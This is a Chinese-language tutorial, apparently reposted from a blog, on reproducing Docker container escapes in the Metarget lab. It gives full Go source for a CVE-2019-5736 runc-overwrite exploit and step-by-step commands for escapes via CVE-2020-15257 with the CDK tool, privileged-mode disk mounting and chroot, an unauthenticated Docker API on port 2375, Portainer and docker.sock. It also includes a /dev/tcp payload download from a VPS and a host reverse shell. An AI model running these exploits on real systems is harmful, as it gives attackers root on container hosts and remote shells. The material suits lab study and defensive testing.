Docker是一个开源的应用容器引擎,它可以让用户将应用打包,并依赖包到可移植的容器中。然而,Docker也存在着安全问题。
Docker攻击模型:
- case1:应用攻击容器
- case2:容器攻击其它容器
- case3:容器攻击宿主机
- case4:主机攻击容器
漏洞环境
由于各种各样的原因(相关文档缺乏、背景知识不足、网络环境差等),我们经常会发现“环境搭建”这个步骤本身就会占用大量的时间。与之相比,真正测试PoC、ExP的时间可能非常短,所以漏洞环境选择绿盟安全研究人员开发的靶场Metarget项目。
https://github.com/Metarget/metarget
#要求
Ubuntu 16.04或18.04(推荐)
python >= 3.6 (不支持python 2.x)
#安装
git clone https://github.com/brant-ruan/metarget.git
cd metarget/
pip3 install -r requirements.txt
#安装指定版本的docker版本
./metarget gadget install docker --version 18.03.1
#安装指定版本的Kubernetes
./metarget gadget install k8s --version 1.16.5
识别Docker容器的常见方法
当安全人员拿到一个主机的权限后,需要判断该主机权限所在的环境是不是docker环境。
- ls -alh /.dockerenv
/.dockerenv是所有容器中都会存在的一个文件,这个文件曾经是LCX用于环境变量加载到容器中,现在容器不再使用LCX,所以内容为空。
- cat /proc/1/cgroup | grep “docker”
Linux CGroup(Linux Contral Group),它其实是Linux内核的一个功能,它是Linux下的一种将进程按组进行管理的机制。为了限制Docker资源,Docker为每个容器创建了一个控制组以及一个名为Docker的父控制组,如果某个进程在Docker容器中启动,则该进程将必须在该容器控制中,所以通过查看初始进程的cgroup来验证是否为容器,Docker环境中的cgroup文件普遍存在docker字段,真实Linux环境中不存在docker字段。
- ps aux
在容器中查看进程,会发现进程相当少,和真实环境相差较大
容器中:
真实环境:
Docker逃逸
关于Docker主要从容器自身漏洞、容器配置不当等方面进行介绍
容器漏洞
CVE-2020-15257
Containerd是一个控制runC的守护进程,提供命令行客户端和API,用于在一个机器上管理容器。在版本1.3.9之前和1.4.0~1.4.2的Container中,使用 --host 网络模式,会造成containerd-shim API暴露,通过调用API功能实现逃逸。此模式直接使用宿主机网卡和IP地址,导致容器和宿主机共享一套Network namespace。
- 漏洞环境安装
#安装漏洞环境
./metarget cnv install cve-2020-15257
#启动漏洞环境
docker run -it --net=host --name=15257 ubuntu /bin/bash
- 判断是否使用host模式
#在容器内使用该命令可看到抽象命名空间Unix域套接字
cat /proc/net/unix | grep 'containerd-shim'
- 利用cdk工具进行自动化逃逸,反弹宿主机的shell到远端服务器,如果容器没有curl、wget命令,可以通过下面这个方式下发CDK
#公网VPS开启NC
nc -lvp 999 < cdk
#容器运行写入
cat < /dev/tcp/(VPS_IP)/(port) > cdk
chmod a+x cdk
#反弹宿主机的shell到远端服务器
./cdk run shim-pwn reverse vps_ip 8888
成功反弹宿主机权限到远端服务器:
CVE-2019-5736
在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,因此可以感觉以root的身份执行命令,导致获得宿主机的root权限。runC漏洞的前提是需要docker exec、attach时才会触发漏洞,攻击者可以修改runC的二进制文件导致提权,需要管理员执行exec才能触发,利用条件有限。
- 漏洞环境安装
#安装漏洞环境
./metarget cnv install cve-2019-5736
#启动环境
docker run -it ubuntu:18.04
- 编译poc
https://github.com/Frichetten/CVE-2019-5736-PoC
package main
// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
"flag"
)
var shellCmd string
func init() {
flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
flag.Parse()
}
func main() {
// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n" + shellCmd
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create("/bin/sh")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")
// Loop through all processes to find one whose cmdline includes runcinit
// This will be the process created by runc
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
// We will use the pid to get a file handle for runc on the host.
var handleFd = -1
for handleFd == -1 {
// Note, you do not need to use the O_PATH flag for the exploit to work.
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")
// Now that we have the file handle, lets write to the runc binary and overwrite it
// It will maintain it's executable flag
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
fmt.Println("[+] The command executed is" + payload)
writeHandle.Write([]byte(payload))
return
}
}
}
- 使用go对poc进行编译
- 将编译好的poc,复制进容器/home目录下
#将poc复制到容器中
docker cp main name:/home
#进入容器,赋予poc文件执行权限
chmod 777 main
#执行
./main
- 现在假设以管理员身份使用docker exec进入容器
docker ps
docker exec -it 483db4e388b4 /bin/bash
- 此时,在容器中可以看到容器中的main脚本已经被执行。
- 可以将poc中的payload修改为反弹shell的payload,如果成功执行,将获得宿主机的权限。
Portainer后台(逃逸)
Portainer是一个可视化的容器镜像的图形管理工具,利用Portainer可以轻松构建、管理和维护Docker环境,而且完全免费,基于容器化的安装方式,方便高效部署。
安装成功后,后台没有默认账号密码,当第一次登录系统时会提示设置新密码。
- 在具有docker的机器上下载portainer
#搜索portainer镜像
docker search portainer
#拉取portainer镜像
docker pull portainer/portainer
#启动portainer镜像
docker run -d -p 9000:9000 --restart=always \
-v /var/run/docker.sock:/var/run/docker.sock \
--name portainer portainer/portainer
- 访问9000端口
- 进入容器中,添加新容器
- 进入到后台界面
- 给新容器命名并添加镜像
- 下滑找到Advanced container settings,并将console选项选为Interactive & TTY
- 在Volumes中将根目录挂载到容器中
- 点击Deploy the container按钮进行部署
- 选择刚刚创建好的镜像,选择/bin/sh进入到终端。
- 进入终端,输入ls /host 、chroot /host bash,如图所示,已成功通过chroot切换bash,逃逸到宿主机中。
配置不当
特权模式
特权模式逃逸是一种最简单有效的逃逸方法,该漏洞的原理是宿主机使用root用户或使用sudo命令启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载到容器内部,获取对整个宿主机的文件读写权限,可直接通过chroot切换根目录、写ssh公钥和crontab计划等逃逸到宿主机。
- 当容器启动加上 --privileged选项时,容器可以访问宿主机上磁盘设备
#使用docker拉取ubuntu:18.04镜像
docker pull ubuntu:18.04
#启动特权容器
sudo docker run --rm --privileged -it ubuntu:18.04 /bin/bash
- 判断当前容器是否是特权启动 cat /proc/self/status | grep CapEff
查看CapEff值,特权值为:0000003fffffffff
- 可以创建一个挂载目录 mkdir /tmp/hosts
- 查看宿主机磁盘文件 fdisk -l
- 挂载到创建的目录
mount /dev/sda1 /tmp/hosts
- 进入到/tmp/hosts目录,通过chroot切换bash
chroot ./ bash
- 此时,已成功逃逸到宿主机
Docker API未授权访问
该漏洞起因是因为使用Docker Swarm时,管理的docker 节点上便会开放一个TCP端口2375/2376,绑定在0.0.0.0上,如果没有做限制访问来源的话,攻击者可以通过Doker未授权来控制服务器。
在最初版本安装Docker时会默认把2375端口对外开放,目前默认允许本地访问
- 首先需要开启contianerd服务
containerd
- 查看服务状态
systemctl status containerd
- 开启远程访问
vim /lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 containerd=/run/containerd/containerd.sock
- 开启后进行重启操作
systemctl daemon-reload
systemctl restart docker
- 探测是否存在未授权访问
- curl http://IP:2375/info
- docker -H tcp://IP:2375 info
- 利用容器创建一个拥有特权的容器,挂载宿主机进行逃逸
#连接
export DOCKER_HOST="tcp://123.123.123.123:2375"
#创建一个容器并具有特殊权限和挂载宿主机目录
docker -H tcp://192.168.30.50:2375 run -it --privileged alpine
#这时可通过特权模式进行逃逸
mkdir /tmp/zkaw/
fdisk -l
mount /dev/dm-0 /tmp/zkaw
cd /tmp/zkaw
#通过chroot切换bash
chroot ./ bash
Docker Socket
Docker架构相当于C/S架构,docker即为client,Server端的角色由docker daemon扮演,二者之间的通信方式有以下三种:
- unix:///var/run/docker.sock(默认)
- tcp://host:port
- fd://socketfd
该方式主要为在容器中寻找docker.sock文件,利用此文件与宿主机建立交互。文章来源:https://www.toymoban.com/news/detail-782604.html
#查找docker.sock
find / -name docker.sock 2>/dev/null
#连接
docker -H unix:///run/docker.sock info
#注意事项
通常进入容器中是没有docker客户端的,如果出网可在线安装:apt-get install docker.io
参考连接:
https://www.secrss.com/articles/18752
https://zhuanlan.zhihu.com/p/474373366
https://juejin.cn/post/7156844201522429988
https://blog.csdn.net/SHELLCODE_8BIT/article/details/124037215
https://github.com/cdk-team/CDK文章来源地址https://www.toymoban.com/news/detail-782604.html
到了这里,关于Docker常见的安全问题复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!